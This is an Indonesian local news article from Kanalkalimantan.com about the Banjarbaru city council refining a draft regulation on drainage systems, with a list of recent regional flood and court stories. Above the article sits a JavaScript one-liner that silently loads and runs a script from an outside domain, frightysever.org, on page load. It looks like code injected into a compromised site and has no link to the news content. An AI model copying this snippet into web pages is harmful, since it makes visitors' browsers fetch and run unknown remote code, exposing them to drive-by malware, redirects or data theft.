(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Matangkan Draf Raperda Penyelenggaraan Sistem Drainase


KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah Kota Banjarbaru mematangkan draft Rancangan Peraturan Daerah (Raperda) penyelenggaraan sistem drainase yang merupakan Raperda inisiatif legislatif.

Wakil Ketua Komisi III DPRD Kota Banjarbaru Ririk Sumari S di Kota Banjarbaru mengatakan, pihaknya sudah menggelar Focus Group Discussion (FGD) membahas raperda inisiatif DPRD itu.

“Kami sudah menggelar FGD sebagai bagian dari upaya mematangkan Raperda penyelenggaraan sistem drainase mengundang pihak terkait baik pemerintah maupun kalangan akademisi,” ujar Ririk usai FGD, Selasa (19/3/2024) siang.

Ririk menuturkan, FGD yang diinisiasi Komisi III menggelar FGD yang diikuti DPUPR, Forum RT/RW, dan Lembaga Penelitian dan Pengabdian Masyarakat (LPPM) Universitas Lambung Mangkurat.

Baca juga: PSK Terjaring Patroli Malam Ramadan Satpol PP Banjarbaru

FGD bertujuan mendengar saran dan masukan dari masyarakat yang diwakili Forum RT/RW serta anggota Komisi III sebagai pengusul Raperda inisiatif sebelum dibahas di tingkat panitia khusus (Pansus).

“Kami semua sepakat agar Pemko menyiapkan sistem drainase yang terintegrasi di seluruh Banjarbaru dengan peraturan daerah tentang penyelenggaraan sistem drainase sebagai payung hukum,” ucapnya.

Politisi perempuan dari PKB itu, selain penataan kota, penataan sistem drainase memiliki tujuan agar sudut kota terhindar dari genangan dan banjir sesuai rencana mitigasi banjir.

“Kami bersama anggota DPRD lain berpikir sudah waktunya Banjarbaru memiliki Raperda yang menaungi sistem drainase, sehingga penataan drainase menjadi terukur dan terarah dengan baik,” ucapnya.

Baca juga: Hari Tuberkulosis Sedunia 2024 “Yes! We Can End TB”, Ini Langkah Pencegahannya

Kepala Bidang Sumber Daya Air (SDA) DPUPR Kota Banjarbaru Muhammad Deny Pramudji sangat mengapresiasi Raperda inisiatif yang diusulkan DPRD Banjarbaru itu.

“Sangat mendukung dan meminta agar draft Raperda dapat sinkron dengan masterplan mitigasi banjir yang bisa dilihat dari rencana tata ruang wilayah Banjarbaru tahun 2023-2043,” katanya. (Kanalkalimantan.com/bie)

Reporter : bie
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.